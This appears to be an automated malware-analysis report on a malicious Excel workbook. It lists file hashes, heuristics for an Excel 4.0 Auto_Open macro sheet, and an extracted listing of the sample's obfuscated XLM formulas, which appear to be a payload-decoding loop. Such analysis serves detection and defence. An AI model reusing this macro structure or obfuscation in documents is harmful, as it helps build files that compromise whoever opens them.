Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 625105174682f00f…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-27 11:44:07 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: 937f16aacdd6b8df4cf9206566828888 SHA-1: 427d7e2dd12924a538aedb532df03fbfb0c932b7 SHA-256: 625105174682f00fc1f96b26842f2279a23793d166d10eb4f334a004dec4ea72
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6869 bytes
SHA-256: ba50e86aa2be34fc2e573ddcbcd34d094e66c08f57406c85db61472347d672e6
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  PvIPTHYdOdX
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D140 
' 0018     27 LABEL : Cell Value, String Constant - BdTYryOoPdDp len=0 
' 0018     22 LABEL : Cell Value, String Constant - BjwXuJD len=0 
' 0018     24 LABEL : Cell Value, String Constant - bMjUCKahk len=0 
' 0018     20 LABEL : Cell Value, String Constant - DuZpB len=0 
' 0018     23 LABEL : Cell Value, String Constant - fBgnuvzx len=0 
' 0018     20 LABEL : Cell Value, String Constant - FnUjQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - FOKVTZpN len=0 
' 0018     23 LABEL : Cell Value, String Constant - GhrLwoYY len=0 
' 0018     21 LABEL : Cell Value, String Constant - hMWGbH len=0 
' 0018     23 LABEL : Cell Value, String Constant - iDlIOfNq len=0 
' 0018     25 LABEL : Cell Value, String Constant - IZcxwZotSq len=0 
' 0018     25 LABEL : Cell Value, String Constant - leehrzRDgh len=0 
' 0018     22 LABEL : Cell Value, String Constant - MJXzznU len=0 
' 0018     25 LABEL : Cell Value, String Constant - nqySpGzTys len=0 
' 0018     26 LABEL : Cell Value, String Constant - OQehmjiAePZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - PNAWAdkyWrO len=0 
' 0018     24 LABEL : Cell Value, String Constant - QegRjHdKi len=0 
' 0018     23 LABEL : Cell Value, String Constant - xhHLnvDB len=0 
' 0018     21 LABEL : Cell Value, String Constant - yNretE len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZYIHpweKR len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  PvIPTHYdOdX,D48,"SET.NAME("MJXzznU",0+VALUE("0"))",""
'  PvIPTHYdOdX,D51,"SET.NAME("BdTYryOoPdDp",MJXzznU)",""
'  PvIPTHYdOdX,D56,"SET.NAME("IZcxwZotSq",MJXzznU)",""
'  PvIPTHYdOdX,D59,"SET.NAME("hMWGbH",COUNTA(ZYIHpweKR))",""
'  PvIPTHYdOdX,D64,"SET.NAME("QegRjHdKi",COUNTA(iDlIOfNq))",""
'  PvIPTHYdOdX,D69,[],""
'  PvIPTHYdOdX,D73,"SET.NAME("FnUjQ","")",""
'  PvIPTHYdOdX,D78,"BdTYryOoPdDp",""
'  PvIPTHYdOdX,D82,"SET.NAME("xhHLnvDB",HLOOKUP("*",ZYIHpweKR,BdTYryOoPdDp,FALSE))",""
'  PvIPTHYdOdX,D85,"yNretE",""
'  PvIPTHYdOdX,D88,"SET.NAME("nqySpGzTys",MJXzznU)",""
'  PvIPTHYdOdX,D91,[],""
'  PvIPTHYdOdX,D96,"nqySpGzTys",""
'  PvIPTHYdOdX,R98,"",-736.00000000000000000000
'  PvIPTHYdOdX,D99,"leehrzRDgh",""
'  PvIPTHYdOdX,R99,"",-838.00000000000000000000
'  PvIPTHYdOdX,R100,"",-303.00000000000000000000
'  PvIPTHYdOdX,D101,"OQehmjiAePZ",""
'  PvIPTHYdOdX,R101,"",775.00000000000000000000
'  PvIPTHYdOdX,R102,"",-977.00000000000000000000
'  PvIPTHYdOdX,R103,"",884.00000000000000000000
'  PvIPTHYdOdX,D105,"GhrLwoYY",""
'  PvIPTHYdOdX,D108,"SET.NAME("FOKVTZpN",VALUE(HLOOKUP("*",iDlIOfNq,GhrLwoYY,FALSE)))",""
'  PvIPTHYdOdX,D112,"DuZpB",""
'  PvIPTHYdOdX,D114,"FnUjQ",""
'  PvIPTHYdOdX,D116,"IZcxwZotSq",""
'  PvIPTHYdOdX,D119,NEXT(),""
'  PvIPTHYdOdX,D121,"BjwXuJD",""
'  PvIPTHYdOdX,D126,[],""
'  PvIPTHYdOdX,D128,"PNAWAdkyWrO",""
'  PvIPTHYdOdX,D132,NEXT(),""
'  PvIPTHYdOdX,D137,RETURN(),""
'  PvIPTHYdOdX,D165,"SET.NAME("bMjUCKahk",D48)",""
'  PvIPTHYdOdX,D170,"ZYIHpweKR",""
'  PvIPTHYdOdX,D173,"SET.NAME("iDlIOfNq",R44C12)",""
'  PvIPTHYdOdX,D175,"SET.NAME("PNAWAdkyWrO",183)",""
'  PvIPTHYdOdX,D179,"SET.NAME("fBgnuvzx",4)",""
'  PvIPTHYdOdX,D182,bMjUCKahk(),""
'  PvIPTHYdOdX,D183,HALT(),""

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